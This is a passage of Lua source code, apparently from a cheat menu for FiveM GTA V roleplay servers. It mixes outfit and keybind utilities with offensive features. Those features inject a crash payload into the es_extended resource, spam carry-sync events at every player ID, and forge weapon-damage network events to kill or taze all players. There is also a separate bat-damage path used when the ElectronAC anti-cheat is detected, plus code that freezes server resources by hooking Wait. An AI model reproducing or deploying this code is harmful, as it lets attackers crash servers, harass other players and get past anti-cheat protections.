menu.utils.notify("Outfit saved: " .. outfitName, "success", 3000) end) end) end function assembledMenuFunctions.applyOutfitData(outfit) local playerPed = PlayerPedId() local sliders = menu.vars.sliders sliders.skinFace = outfit.face or 0 sliders.skinSkin = outfit.skin or 0 sliders.skinHair = outfit.hair_1 or 0 sliders.skinHairColor1 = outfit.hair_color_1 or 0 sliders.skinHairColor2 = outfit.hair_color_2 or 0 sliders.skinTorso1 = outfit.torso_1 or 0 sliders.skinTorso2 = outfit.torso_2 or 0 sliders.skinArms = outfit.arms or 0 sliders.skinTshirt1 = outfit.tshirt_1 or 0 sliders.skinTshirt2 = outfit.tshirt_2 or 0 sliders.skinPants1 = outfit.pants_1 or 0 sliders.skinPants2 = outfit.pants_2 or 0 sliders.skinShoes1 = outfit.shoes_1 or 0 sliders.skinShoes2 = outfit.shoes_2 or 0 sliders.skinMask1 = outfit.mask_1 or 0 sliders.skinMask2 = outfit.mask_2 or 0 sliders.skinBproof1 = outfit.bproof_1 or 0 sliders.skinBproof2 = outfit.bproof_2 or 0 sliders.skinBags1 = outfit.bags_1 or 0 sliders.skinBags2 = outfit.bags_2 or 0 sliders.skinDecals1 = outfit.decals_1 or 0 sliders.skinDecals2 = outfit.decals_2 or 0 sliders.skinChain1 = outfit.chain_1 or 0 sliders.skinChain2 = outfit.chain_2 or 0 sliders.skinHelmet1 = outfit.helmet_1 or -1 sliders.skinHelmet2 = outfit.helmet_2 or 0 sliders.skinGlasses1 = outfit.glasses_1 or -1 sliders.skinGlasses2 = outfit.glasses_2 or 0 sliders.skinEars1 = outfit.ears_1 or -1 sliders.skinEars2 = outfit.ears_2 or 0 sliders.skinBeard1 = outfit.beard_1 or 0 sliders.skinBeard2 = outfit.beard_2 or 0 sliders.skinBeard3 = outfit.beard_3 or 0 if outfit.headBlendData then local face = outfit.face or outfit.headBlendData.shapeFirst or 0 local skin = outfit.skin or outfit.headBlendData.skinFirst or 0 SetPedHeadBlendData( playerPed, face, outfit.headBlendData.shapeSecond or face, outfit.headBlendData.shapeThird or 0, skin, outfit.headBlendData.skinSecond or skin, outfit.headBlendData.skinThird or 0, outfit.headBlendData.shapeMix or 1.0, outfit.headBlendData.skinMix or 1.0, outfit.headBlendData.thirdMix or 1.0, true ) else local face, skin = outfit.face or 0, outfit.skin or 0 SetPedHeadBlendData(playerPed, face, face, face, skin, skin, skin, 1.0, 1.0, 1.0, true) end SetPedComponentVariation(playerPed, 2, outfit.hair_1 or 0, outfit.hair_2 or 0, 2) SetPedHairColor(playerPed, outfit.hair_color_1 or 0, outfit.hair_color_2 or 0) SetPedEyeColor(playerPed, 10) SetPedComponentVariation(playerPed, 11, outfit.torso_1 or 0, outfit.torso_2 or 0, 2) SetPedComponentVariation(playerPed, 3, outfit.arms or 0, 0, 2) SetPedComponentVariation(playerPed, 8, outfit.tshirt_1 or 0, outfit.tshirt_2 or 0, 2) SetPedComponentVariation(playerPed, 4, outfit.pants_1 or 0, outfit.pants_2 or 0, 2) SetPedComponentVariation(playerPed, 6, outfit.shoes_1 or 0, outfit.shoes_2 or 0, 2) SetPedComponentVariation(playerPed, 1, outfit.mask_1 or 0, outfit.mask_2 or 0, 2) SetPedComponentVariation(playerPed, 9, outfit.bproof_1 or 0, outfit.bproof_2 or 0, 2) SetPedComponentVariation(playerPed, 5, outfit.bags_1 or 0, outfit.bags_2 or 0, 2) SetPedComponentVariation(playerPed, 10, outfit.decals_1 or 0, outfit.decals_2 or 0, 2) SetPedComponentVariation(playerPed, 7, outfit.chain_1 or 0, outfit.chain_2 or 0, 2) if (outfit.helmet_1 or -1) >= 0 then SetPedPropIndex(playerPed, 0, outfit.helmet_1, outfit.helmet_2 or 0, true) else ClearPedProp(playerPed, 0) end if (outfit.glasses_1 or -1) >= 0 then SetPedPropIndex(playerPed, 1, outfit.glasses_1, outfit.glasses_2 or 0, true) else ClearPedProp(playerPed, 1) end if (outfit.ears_1 or -1) >= 0 then SetPedPropIndex(playerPed, 2, outfit.ears_1, outfit.ears_2 or 0, true) else ClearPedProp(playerPed, 2) end if outfit.beard_1 and outfit.beard_1 > 0 then SetPedHeadOverlay(playerPed, 1, outfit.beard_1, 1.0) SetPedHeadOverlayColor(playerPed, 1, 1, outfit.beard_2 or 0, outfit.beard_3 or 0) else SetPedHeadOverlay(playerPed, 1, 0, 0.0) end local eyebrowStyle, eyebrowOpacity, eyebrowColor1, eyebrowColor2 = menu.functions.getOutfitEyebrowFields(outfit) if eyebrowStyle ~= nil then eyebrowOpacity = eyebrowOpacity or 0 if eyebrowStyle == 255 or eyebrowOpacity <= 0 then sliders.skinEyebrowsStyle = 0 sliders.skinEyebrowsThickness = 0 sliders.skinEyebrowsColor1 = 0 sliders.skinEyebrowsColor2 = 0 SetPedHeadOverlay(playerPed, 2, 255, 0.0) SetPedHeadOverlayColor(playerPed, 2, 1, 0, 0) return end sliders.skinEyebrowsStyle = eyebrowStyle sliders.skinEyebrowsThickness = math.floor(eyebrowOpacity * 10 + 0.5) sliders.skinEyebrowsColor1 = eyebrowColor1 or 0 sliders.skinEyebrowsColor2 = eyebrowColor2 or eyebrowColor1 or 0 SetPedHeadOverlay(playerPed, 2, 255, 0.0) SetPedHeadOverlay(playerPed, 2, eyebrowStyle, eyebrowOpacity) SetPedHeadOverlayColor(playerPed, 2, 1, eyebrowColor1 or 0, eyebrowColor2 or eyebrowColor1 or 0) end end function assembledMenuFunctions.loadSavedOutfit(outfitName) local outfits = menu.vars.panelOutfits or {} local selectedOutfit for _, outfit in ipairs(outfits) do if outfit.name == outfitName then selectedOutfit = outfit break end end if not selectedOutfit then menu.utils.notify("Outfit not found: " .. outfitName, "error", 3000) return end menu.functions.applyOutfitData(selectedOutfit.components or {}) menu.utils.notify("Loaded outfit: " .. outfitName, "success", 3000) end function assembledMenuFunctions.deleteSavedOutfit(outfitName) local outfits = menu.vars.panelOutfits or {} local selectedOutfit, selectedIndex for index, outfit in ipairs(outfits) do if outfit.name == outfitName then selectedOutfit = outfit selectedIndex = index break end end if not selectedOutfit then menu.utils.notify("Outfit not found: " .. outfitName, "error", 3000) return end menu.ui.promptDeleteConfirm({ label = "Do you really want to delete '" .. outfitName .. "'? Type yes to confirm." }, function() menu.utils.notify("Deleting outfit...", "info", 1500) menu.panelApi.deleteOutfit(selectedOutfit.id, function(success, errorMessage) if not success then menu.utils.notify("Failed to delete outfit: " .. tostring(errorMessage), "error", 3000) return end table.remove(menu.vars.panelOutfits, selectedIndex) local outfitCount = #(menu.vars.panelOutfits or {}) if menu.vars.selectors.savedOutfitSelector and outfitCount < menu.vars.selectors.savedOutfitSelector then menu.vars.selectors.savedOutfitSelector = math.max(1, outfitCount) end if menu.vars.selectors.deleteOutfitSelector and outfitCount < menu.vars.selectors.deleteOutfitSelector then menu.vars.selectors.deleteOutfitSelector = math.max(1, outfitCount) end menu.utils.notify("Deleted outfit: " .. outfitName, "success", 3000) end) end) end function assembledMenuFunctions.narcoCrasher() local payload = [[ Citizen.CreateThread(function() local reported_clients = 0 for i=0, 1000000 do ESX.TriggerServerCallback("esx:getOtherPlayerData", function(data) if data then reported_clients = reported_clients+1 print("Crashing :D") end end, i) Citizen.Wait(17) end end) ]] Ham.Execute("es_extended", payload) menu.utils.notify("Crasher started! Check F8 for details..", "success", 2000) end function assembledMenuFunctions.stopResource(resourceName, silent) Hdn.Execute( resourceName, [[ if not _G.o_wait then _G.o_wait = Wait Wait = function(timee) while _G.__resource_frozen do _G.o_wait(50) end return _G.o_wait(timee) end Citizen.Wait = function(timee) while _G.__resource_frozen do _G.o_wait(50) end return _G.o_wait(timee) end end _G.__resource_frozen = true ]] ) if not silent then menu.utils.notify("Resource Manager", "success", 2500, nil, { title = "Resource Manager", subtitle = "Stopped " .. tostring(resourceName) .. " successfully" }) end end function assembledMenuFunctions.resumeResource(resourceName, silent) Hdn.Execute( resourceName, [[ _G.__resource_frozen = false ]] ) if not silent then menu.utils.notify("Resource Manager", "success", 2500, nil, { title = "Resource Manager", subtitle = "Started " .. tostring(resourceName) .. " successfully" }) end end function assembledMenuFunctions.normalizeMenuKeyName(keyName) local normalized = tostring(keyName or ""):gsub("^%s+", ""):gsub("%s+$", "") if normalized == "" then return nil end normalized = normalized:gsub("%s+", "") local functionNumber = normalized:match("^[Ff](%d%d?)$") if functionNumber then return "F" .. tostring(tonumber(functionNumber)) end if #normalized == 1 then return string.upper(normalized) end if ImGuiKey then if ImGuiKey[normalized] then return normalized end local lowerName = string.lower(normalized) for candidate, value in pairs(ImGuiKey) do if type(candidate) == "string" and string.lower(candidate) == lowerName then return candidate end end end return string.upper(normalized:sub(1, 1)) .. normalized:sub(2) end function assembledMenuFunctions.resolveMenuNavKey(keyName) if not ImGuiKey or not keyName then return nil end return ImGuiKey[keyName] end function assembledMenuFunctions.applyMenuNavKeyFromPrompt( input, cancelled, variableName, displayName, singleLetterOnly ) if cancelled then return end local keyName = menu.functions.normalizeMenuKeyName(input) if not keyName then menu.utils.notify("Enter a valid key", "error", 2000) return end if singleLetterOnly and #keyName ~= 1 then menu.utils.notify("Enter a single letter", "error", 2000) return end if not menu.functions.resolveMenuNavKey(keyName) then menu.utils.notify("Unknown key: " .. tostring(keyName), "error", 2000) return end local reservedKeys = { Enter = true, Escape = true, Backspace = true, LeftArrow = true, RightArrow = true, UpArrow = true, DownArrow = true } if reservedKeys[keyName] then menu.utils.notify("That key is reserved for menu navigation", "error", 2500) return end menu.vars[variableName] = keyName menu.utils.notify((displayName or keyName) .. " set to " .. keyName, "success", 2000) end function assembledMenuFunctions.defaultTabScrollLeftKey() if menu.utils and menu.utils.isAzertyKeyboard and menu.utils.isAzertyKeyboard() then return "A" end return "Q" end function assembledMenuFunctions.promptTabScrollLeftKey() local defaultKey = menu.functions.defaultTabScrollLeftKey and menu.functions.defaultTabScrollLeftKey() or "Q" menu.ui.promptText({ title = "Menu Tab Left", label = "Type the key to scroll tabs left", default = "", maxLen = 1, placeholder = defaultKey }, function(input, cancelled) menu.functions.applyMenuNavKeyFromPrompt(input, cancelled, "tabScrollLeftKey", "Menu Tab Left", true) end) end function assembledMenuFunctions.promptTabScrollRightKey() menu.ui.promptText({ title = "Menu Tab Right", label = "Type the key to scroll tabs right", default = "", maxLen = 1, placeholder = "E" }, function(input, cancelled) menu.functions.applyMenuNavKeyFromPrompt(input, cancelled, "tabScrollRightKey", "Menu Tab Right", true) end) end function assembledMenuFunctions.promptMenuOptionBindKey() menu.ui.promptText({ title = "Menu Keybind", label = "Type the key used to bind option hotkeys", default = "", maxLen = 12, placeholder = "F11" }, function(input, cancelled) menu.functions.applyMenuNavKeyFromPrompt(input, cancelled, "menuOptionBindKey", "Menu Keybind", false) end) end function assembledMenuFunctions.applyKeyboardLayout(layout) local azerty = layout == "AZERTY" or layout == 2 if layout == "QWERT*" or layout == 1 then Ham.setKeyboardLayout(1) elseif azerty then Ham.setKeyboardLayout(2) end local leftKey = menu.vars.tabScrollLeftKey or "Q" if leftKey ~= "Q" and leftKey ~= "A" then return end menu.vars.tabScrollLeftKey = azerty and "A" or "Q" end function assembledMenuFunctions.toggleForceWeaponwheel(toggleOptions) menu.vars.frozenResources = menu.vars.frozenResources or {} menu.vars.forceWeaponwheelStoppedResources = menu.vars.forceWeaponwheelStoppedResources or {} local excludedResources = { esx_inventory = true, esx_addoninventory = true } local enabled = toggleOptions and toggleOptions.toggleState == true local resources = {} if menu.utils and menu.utils.getFreezableResourceList then resources = menu.utils.getFreezableResourceList() or {} else resources = menu.vars.freezableResources or {} end if enabled then for _, resource in ipairs(resources) do resource = tostring(resource or "") local lowerName = string.lower(resource) if resource ~= "" and string.find(lowerName, "inventory", 1, true) and not excludedResources[lowerName] and menu.vars.frozenResources[resource] ~= true and menu.vars.forceWeaponwheelStoppedResources[resource] ~= true then menu.utils.safeCallByName("stopResource", resource, true) menu.vars.frozenResources[resource] = true menu.vars.forceWeaponwheelStoppedResources[resource] = true end end return end for resource, stopped in pairs(menu.vars.forceWeaponwheelStoppedResources) do if stopped == true then menu.utils.safeCallByName("resumeResource", resource, true) menu.vars.frozenResources[resource] = nil menu.vars.forceWeaponwheelStoppedResources[resource] = nil end end end function assembledMenuFunctions.pedChanger(selection) Citizen.CreateThread(function() local pedModels = { Default = menu.vars.pedDefault or GetHashKey("mp_m_freemode_01"), bigrabbit = GetHashKey("a_c_rabbit_02"), acult_01 = GetHashKey("a_m_m_acult_01"), acult_02 = GetHashKey("a_m_y_acult_02"), boar = GetHashKey("a_c_boar"), boar_02 = GetHashKey("a_c_boar_02"), cat = GetHashKey("a_c_cat_01"), chickenhawk = GetHashKey("a_c_chickenhawk"), chimp = GetHashKey("a_c_chimp"), chimp_02 = GetHashKey("a_c_chimp_02"), chop = GetHashKey("a_c_chop"), chop_02 = GetHashKey("a_c_chop_02"), cormorant = GetHashKey("a_c_cormorant"), cow = GetHashKey("a_c_cow"), coyote = GetHashKey("a_c_coyote"), coyote_02 = GetHashKey("a_c_coyote_02"), crow = GetHashKey("a_c_crow"), deer = GetHashKey("a_c_deer"), deer_02 = GetHashKey("a_c_deer_02"), dolphin = GetHashKey("a_c_dolphin"), fish = GetHashKey("a_c_fish"), hen = GetHashKey("a_c_hen"), humpback = GetHashKey("a_c_humpback"), husky = GetHashKey("a_c_husky"), killerwhale = GetHashKey("a_c_killerwhale"), mtlion = GetHashKey("a_c_mtlion"), mtlion_02 = GetHashKey("a_c_mtlion_02"), panther = GetHashKey("a_c_panther"), pig = GetHashKey("a_c_pig"), pigeon = GetHashKey("a_c_pigeon"), poodle = GetHashKey("a_c_poodle"), pug = GetHashKey("a_c_pug"), pug_02 = GetHashKey("a_c_pug_02"), rabbit = GetHashKey("a_c_rabbit_01"), rat = GetHashKey("a_c_rat"), retriever = GetHashKey("a_c_retriever"), rhesus = GetHashKey("a_c_rhesus"), rottweiler = GetHashKey("a_c_rottweiler"), seagull = GetHashKey("a_c_seagull"), sharkhammer = GetHashKey("a_c_sharkhammer"), sharktiger = GetHashKey("a_c_sharktiger"), shepherd = GetHashKey("a_c_shepherd"), stingray = GetHashKey("a_c_stingray"), westy = GetHashKey("a_c_westy"), pogo_monkey = GetHashKey("u_m_y_pogo_01"), jesus = GetHashKey("u_m_m_jesus_01"), prisoner = GetHashKey("u_m_y_prisoner_01"), tramp_old = GetHashKey("u_m_o_tramp_01"), zombie = GetHashKey("u_m_y_zombie_01"), Custom = GetHashKey("custom") } local storyModels = { Michael = GetHashKey("player_zero"), Franklin = GetHashKey("player_one"), Trevor = GetHashKey("player_two"), Amanda = GetHashKey("ig_amandatownley"), Lamar = GetHashKey("ig_lamardavis"), Lester = GetHashKey("ig_lestercrest"), Jimmy = GetHashKey("ig_jimmydisanto"), Tracey = GetHashKey("ig_tracydisanto"), ["Mrs. Philips"] = GetHashKey("ig_mrsphillips"), Natalia = GetHashKey("ig_natalia"), Wade = GetHashKey("ig_wade"), Fabien = GetHashKey("ig_fabien"), ["Dr. Friedlander"] = GetHashKey("ig_drfriedlander"), Stretch = GetHashKey("ig_stretch"), Dale = GetHashKey("ig_dale"), Denise = GetHashKey("ig_denise"), Dom = GetHashKey("ig_dom"), Marnie = GetHashKey("ig_marnie"), Solomon = GetHashKey("ig_solomon"), Talina = GetHashKey("ig_talina") } local function applyDefaultComponents(model) local playerPed = PlayerPedId() if not playerPed or playerPed == 0 or not DoesEntityExist(playerPed) then return end if model == GetHashKey("mp_m_freemode_01") or model == GetHashKey("mp_f_freemode_01") then SetPedDefaultComponentVariation(playerPed) return end if IsPedHuman(playerPed) then SetPedDefaultComponentVariation(playerPed) end end if not menu.vars.savedComponents then menu.vars.savedComponents = {} end if selection ~= "Default" then local selectedModel if selection == "Custom" then menu.ui.promptText({ title = "Custom Ped", label = "Ped Name", default = "", maxLen = 64 }, function(modelName, cancelled) if cancelled or not modelName or modelName == "" then return end modelName = tostring(modelName):gsub("^%s+", ""):gsub("%s+$", "") local modelHash = GetHashKey(modelName) if not IsModelInCdimage(modelHash) or not IsModelAPed(modelHash) then menu.utils.notify("Invalid ped model", "error", 2000) return end if not modelHash then return end Citizen.CreateThread(function() local playerPed = PlayerPedId() local savedWeapons = menu.utils.savePlayerWeapons() local savedVehicle = menu.utils.savePlayerVehicle() if not menu.vars.pedDefault then menu.vars.pedDefault = GetEntityModel(playerPed) for componentIndex = 0, 11 do menu.vars.savedComponents[componentIndex] = { drawable = GetPedDrawableVariation(playerPed, componentIndex), texture = GetPedTextureVariation(playerPed, componentIndex) } end end RequestModel(modelHash) while not HasModelLoaded(modelHash) do Wait(0) end if not menu.vars.bools.pedSpoofEnabled then Hdn.pedSpoof(true) menu.vars.bools.pedSpoofEnabled = false end Wait(500) SetPlayerModel(PlayerId(), modelHash) SetModelAsNoLongerNeeded(modelHash) applyDefaultComponents(modelHash) menu.utils.restorePlayerWeapons(savedWeapons) menu.utils.restorePlayerVehicle(savedVehicle) end) end) return end selectedModel = pedModels[selection] or storyModels[selection] if not selectedModel then local modelHash = GetHashKey(tostring(selection or "")) if IsModelInCdimage(modelHash) and IsModelAPed(modelHash) then selectedModel = modelHash else return end end local playerPed = PlayerPedId() local savedWeapons = menu.utils.savePlayerWeapons() local savedVehicle = menu.utils.savePlayerVehicle() if not menu.vars.pedDefault then menu.vars.pedDefault = GetEntityModel(playerPed) for componentIndex = 0, 11 do menu.vars.savedComponents[componentIndex] = { drawable = GetPedDrawableVariation(playerPed, componentIndex), texture = GetPedTextureVariation(playerPed, componentIndex) } end end RequestModel(selectedModel) while not HasModelLoaded(selectedModel) do Wait(0) end if not menu.vars.bools.pedSpoofEnabled then Hdn.pedSpoof(true) menu.vars.bools.pedSpoofEnabled = false end Wait(500) SetPlayerModel(PlayerId(), selectedModel) SetModelAsNoLongerNeeded(selectedModel) applyDefaultComponents(selectedModel) menu.utils.restorePlayerWeapons(savedWeapons) menu.utils.restorePlayerVehicle(savedVehicle) return end local savedWeapons = menu.utils.savePlayerWeapons() local savedVehicle = menu.utils.savePlayerVehicle() local defaultModel = menu.vars.pedDefault RequestModel(defaultModel) while not HasModelLoaded(defaultModel) do Wait(0) end SetPlayerModel(PlayerId(), defaultModel) SetModelAsNoLongerNeeded(defaultModel) local playerPed = PlayerPedId() menu.utils.restorePlayerWeapons(savedWeapons) menu.utils.restorePlayerVehicle(savedVehicle) if menu.vars.savedComponents then for componentIndex = 0, 11 do local component = menu.vars.savedComponents[componentIndex] if component then SetPedComponentVariation(playerPed, componentIndex, component.drawable, component.texture, 2) end end end Wait(1000) Hdn.pedSpoof(false) menu.vars.bools.pedSpoofEnabled = false menu.vars.pedDefault = nil end) end function assembledMenuFunctions.pedChangerByName() menu.functions.pedChanger("Custom") end function assembledMenuFunctions.getAppearancePedChoices(category) local categories = { male = { "mp_m_freemode_01", "a_m_m_acult_01", "a_m_m_beach_01", "a_m_m_beach_02", "a_m_m_bevhills_01", "a_m_m_bevhills_02", "a_m_m_eastsa_01", "a_m_m_eastsa_02", "a_m_m_farmer_01", "a_m_m_fatlatin_01", "a_m_m_genfat_01", "a_m_m_genfat_02", "a_m_m_golfer_01", "a_m_m_hasjew_01", "a_m_m_hillbilly_01", "a_m_m_hillbilly_02", "a_m_m_indian_01", "a_m_m_ktown_01", "a_m_m_malibu_01", "a_m_m_mexcntry_01", "a_m_m_og_boss_01", "a_m_m_paparazzi_01", "a_m_m_polynesian_01", "a_m_m_prolhost_01", "a_m_m_rurmeth_01", "a_m_m_salton_01", "a_m_m_salton_02", "a_m_m_skater_01", "a_m_m_soucent_01", "a_m_m_soucent_02", "a_m_m_tramp_01" }, female = { "mp_f_freemode_01", "a_f_m_beach_01", "a_f_m_bevhills_01", "a_f_m_bevhills_02", "a_f_m_bodybuild_01", "a_f_m_downtown_01", "a_f_m_eastsa_01", "a_f_m_eastsa_02", "a_f_m_fatbla_01", "a_f_m_fatcult_01", "a_f_m_fatwhite_01", "a_f_m_ktown_01", "a_f_m_ktown_02", "a_f_m_prolhost_01", "a_f_m_salton_01", "a_f_m_skidrow_01", "a_f_m_soucent_01", "a_f_m_soucent_02", "a_f_m_tourist_01", "a_f_m_tramp_01", "a_f_m_trampbeac_01", "a_f_o_genstreet_01", "a_f_o_indian_01", "a_f_o_ktown_01", "a_f_o_salton_01", "a_f_o_soucent_01", "a_f_o_soucent_02", "a_f_y_beach_01", "a_f_y_bevhills_01", "a_f_y_bevhills_02", "a_f_y_business_01" }, story = { "Michael", "Franklin", "Trevor", "Amanda", "Lamar", "Lester", "Jimmy", "Tracey", "Mrs. Philips", "Natalia", "Wade", "Fabien", "Dr. Friedlander", "Stretch", "Dale", "Denise", "Dom", "Marnie", "Solomon", "Talina" }, animals = { "a_c_boar", "a_c_cat_01", "a_c_chickenhawk", "a_c_chimp", "a_c_chop", "a_c_cormorant", "a_c_cow", "a_c_coyote", "a_c_crow", "a_c_deer", "a_c_dolphin", "a_c_fish", "a_c_hen", "a_c_humpback", "a_c_husky", "a_c_killerwhale", "a_c_mtlion", "a_c_panther", "a_c_pig", "a_c_pigeon", "a_c_poodle", "a_c_pug", "a_c_rabbit_01", "a_c_rat", "a_c_retriever", "a_c_rhesus", "a_c_rottweiler", "a_c_seagull", "a_c_sharkhammer", "a_c_sharktiger", "a_c_shepherd", "a_c_stingray", "a_c_westy", "a_c_boar_02", "a_c_chimp_02", "a_c_chop_02", "a_c_coyote_02", "a_c_deer_02", "a_c_mtlion_02", "a_c_pug_02", "a_c_rabbit_02", "u_m_y_pogo_01", "u_m_y_zombie_01", "u_m_m_jesus_01", "u_m_y_prisoner_01", "u_m_o_tramp_01", "a_m_m_acult_01", "a_m_y_acult_02", "ig_orleans", "ig_ramp_hic" } } return categories[category] or {} end function assembledMenuFunctions.getPedChangerDescription(category, selectorName) local choices = menu.functions.getAppearancePedChoices(category) local selectedIndex = menu.vars.selectors and menu.vars.selectors[selectorName] or 1 local choice = choices[selectedIndex] or choices[1] or "unknown" return "Changes your ped to " .. tostring(choice) end function assembledMenuFunctions.crashPlayers() Citizen.CreateThread(function() local originalCoords = GetEntityCoords(PlayerPedId()) menu.functions.safeTeleport(vector3(-75.27, 7631.66, 2.94)) Citizen.Wait(2000) local ownServerId = GetPlayerServerId(NetworkGetPlayerIndexFromPed(PlayerPedId())) for serverId = 0, 2000 do if serverId ~= ownServerId then TriggerServerEvent( "CarryPeople:sync", serverId, "missfinale_c2mcs_1", "nm", "fin_c2_mcs_1_camman", "firemans_carry", 0.15, 0.27, 0.63, serverId, 100000, 0.0, 49, 33, 1, 0, 0.5, 0.5 ) TriggerServerEvent("module:basics:carry:syncTarget", serverId) Citizen.Wait(15) end end Citizen.Wait(2000) menu.functions.safeTeleport(originalCoords) end) end function assembledMenuFunctions.killAllPlayers(toggleOptions) local enabled if toggleOptions and toggleOptions.toggleState ~= nil then enabled = toggleOptions.toggleState else enabled = menu.vars.bools.killAllPlayers == true end menu.vars.bools.killAllPlayers = enabled if not enabled then menu.vars.killAllPlayersThread = false return end if menu.vars.killAllPlayersThread then return end menu.vars.killAllPlayersThread = true CreateThread(function() local unarmedHash = GetHashKey("WEAPON_UNARMED") local electronActive = menu.vars.antiCheats.ElectronAC ~= nil local weaponHash = GetHashKey(menu.vars.normalWeapon) local gaveWeapon = false local shotOffsets = { vector3(1.0, 0.0, 0.0), vector3(-1.0, 0.0, 0.0), vector3(0.0, 1.0, 0.0), vector3(0.0, -1.0, 0.0), vector3(0.0, 0.0, 1.0), vector3(0.0, 0.0, -1.0) } local playerPed = PlayerPedId() if not electronActive and not HasPedGotWeapon(playerPed, weaponHash, false) then GiveWeaponToPed(playerPed, weaponHash, 1, false, false) gaveWeapon = true end while menu.vars.bools.killAllPlayers and menu.vars.killAllPlayersThread do playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) if electronActive then local batHash = GetHashKey("WEAPON_BAT") for _, targetPlayer in ipairs(GetActivePlayers()) do if targetPlayer ~= PlayerId() and NetworkIsPlayerActive(targetPlayer) and not menu.utils.isPlayerFriendByPlayerId(targetPlayer) then local targetPed = GetPlayerPed(targetPlayer) if targetPed ~= 0 and DoesEntityExist(targetPed) and not IsPedDeadOrDying(targetPed, true) and GetEntityHealth(targetPed) > 0 then local serverId = GetPlayerServerId(targetPlayer) if serverId and serverId > 0 then local distance = #(playerCoords - GetEntityCoords(targetPed)) for shot = 1, 2 do local willKill = GetEntityHealth(targetPed) <= 100 Ham.sendWeaponDamageEvent(serverId, { weaponHash = batHash, damage = 100, damageType = 3, hitGlobalId = 0, parentGlobalId = 0, hitComponent = 0, overrideDamage = true, damageTime = GetNetworkTimeAccurate(), f133 = true, isNetTargetPos = true, damageFlags = 517, f112Data = distance, willKill = willKill }) if shot < 2 then Wait(25) end end end end end end else SetCurrentPedWeapon(playerPed, unarmedHash, true) for _, targetPlayer in ipairs(GetActivePlayers()) do if targetPlayer ~= PlayerId() and not menu.utils.isPlayerFriendByPlayerId(targetPlayer) then local targetPed = GetPlayerPed(targetPlayer) if targetPed ~= 0 and DoesEntityExist(targetPed) and not IsPedDeadOrDying(targetPed, true) and GetEntityHealth(targetPed) > 0 then local targetCoords = GetPedBoneCoords(targetPed, 31086, 0.0, 0.0, 0.0) for shot = 1, 2 do for _, offset in ipairs(shotOffsets) do local startCoords = targetCoords + offset * 1.0 ShootSingleBulletBetweenCoords( startCoords.x, startCoords.y, startCoords.z, targetCoords.x, targetCoords.y, targetCoords.z, 10000, true, weaponHash, playerPed, true, true, 1000.0 ) end end end end end end Wait(75) end playerPed = PlayerPedId() if not electronActive then SetCurrentPedWeapon(playerPed, unarmedHash, true) if gaveWeapon and HasPedGotWeapon(playerPed, weaponHash, false) then RemoveWeaponFromPed(playerPed, weaponHash) end end menu.vars.killAllPlayersThread = false end) end function assembledMenuFunctions.destroyerTazeAllPlayers(toggleOptions) local enabled if toggleOptions and toggleOptions.toggleState ~= nil then enabled = toggleOptions.toggleState else enabled = menu.vars.bools.destroyerTazeAll == true end menu.vars.bools.destroyerTazeAll = enabled if not enabled then menu.vars.destroyerTazeAllThread = false return end if menu.vars.destroyerTazeAllThread then return end menu.vars.destroyerTazeAllThread = true CreateThread(function() local maxDistance = 93.0 local weaponHash = GetHashKey("weapon_stunrod") while menu.vars.bools.destroyerTazeAll and menu.vars.destroyerTazeAllThread do local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) for _, targetPlayer in ipairs(GetActivePlayers()) do if targetPlayer ~= PlayerId() and NetworkIsPlayerActive(targetPlayer) and not menu.utils.isPlayerFriendByPlayerId(targetPlayer) then local targetPed = GetPlayerPed(targetPlayer) if targetPed ~= 0 and DoesEntityExist(targetPed) and not IsPedDeadOrDying(targetPed, true) then local distance = #(playerCoords - GetEntityCoords(targetPed)) if distance <= maxDistance then local serverId = GetPlayerServerId(targetPlayer) if serverId and serverId > 0 then Ham.sendWeaponDamageEvent(serverId, { weaponHash = weaponHash, damage = 0, damageType = 3, hitGlobalId = 0, parentGlobalId = 0, hitComponent = 20, overrideDamage = true, damageTime = GetNetworkTimeAccurate(), f133 = true, isNetTargetPos = true, damageFlags = 513, f112Data = distance }) end end end end end Wait(220) end menu.vars.destroyerTazeAllThread = false end) end function assembledMenuFunctions.runDestroyerWorldDamageToggle(toggleOptions, options) options = options or {} local boolVar = options.boolVar or "destroyerExplodeWorld" local threadVar = options.threadVar or "destroyerExplodeWorldThread" local activeTargetsVar = options.activeTargetsVar or "destroyerExplodeWorldActiveTargets" local weaponHash = options.weaponHash or 539292904 local killRadius = options.killRadius or 500.0 local withExplosions = options.withExplosions == true local useKillVehicleSpoof = options.useKillVehicleSpoof == true local enabled if toggleOptions and toggleOptions.toggleState ~= nil then enabled = toggleOptions.toggleState else enabled = menu.vars.bools[boolVar] == true end menu.vars.bools[boolVar] = enabled if not enabled then menu.vars[threadVar] = false menu.vars[activeTargetsVar] = nil if useKillVehicleSpoof and menu.functions.forceEndDestroyerKillVehicleSpoof then menu.functions.forceEndDestroyerKillVehicleSpoof() end return end if not Ham or not Ham.sendWeaponDamageEvent then menu.vars.bools[boolVar] = false menu.utils.notify("Ham.sendWeaponDamageEvent is not available.", "error", 2500) return end if menu.vars[threadVar] then return end menu.vars[threadVar] = true menu.vars[activeTargetsVar] = menu.vars[activeTargetsVar] or {} local function sendTargetDamage(serverId, ped) if not serverId or serverId <= 0 then return false end if not ped or ped == 0 or not DoesEntityExist(ped) then return false end if IsEntityDead(ped) or IsPedDeadOrDying(ped, true) then return false end local networkId = NetworkGetNetworkIdFromEntity(ped) if not networkId or networkId == 0 then return false end local damage = 20 local playerCoords = GetEntityCoords(PlayerPedId()) local distance = #(playerCoords - GetEntityCoords(ped)) local boneCoords = GetPedBoneCoords(ped, 24818, 0.0, 0.0, 0.0) if not boneCoords or not boneCoords.x then return false end local localOffset = GetOffsetFromEntityGivenWorldCoords(ped, boneCoords.x, boneCoords.y, boneCoords.z) if not localOffset or localOffset.x == nil or localOffset.y == nil or localOffset.z == nil then return false end Ham.sendWeaponDamageEvent(serverId, { weaponHash = weaponHash, damage = damage, damageType = 3, hitGlobalId = networkId, hitComponent = 0, overrideDamage = true, damageFlags = 0, actionResultName = 0, actionResultId = 0, f104 = 0, isNetTargetPos = true, localPosX = localOffset.x, localPosY = localOffset.y, localPosZ = localOffset.z, f112Data = distance, willKill = GetEntityHealth(ped) <= damage, f133 = false, hasImpactDir = false, hitEntityWeapon = false, hitWeaponAmmoAttachment = false, silenced = false }) return true end local function queueTarget(serverId) local activeTargets = menu.vars[activeTargetsVar] if not activeTargets or activeTargets[serverId] then return end activeTargets[serverId] = true CreateThread(function() if useKillVehicleSpoof and menu.functions.beginDestroyerKillVehicleSpoofBurst then menu.functions.beginDestroyerKillVehicleSpoofBurst() end local totalDamage, damagePerShot, delayMs = 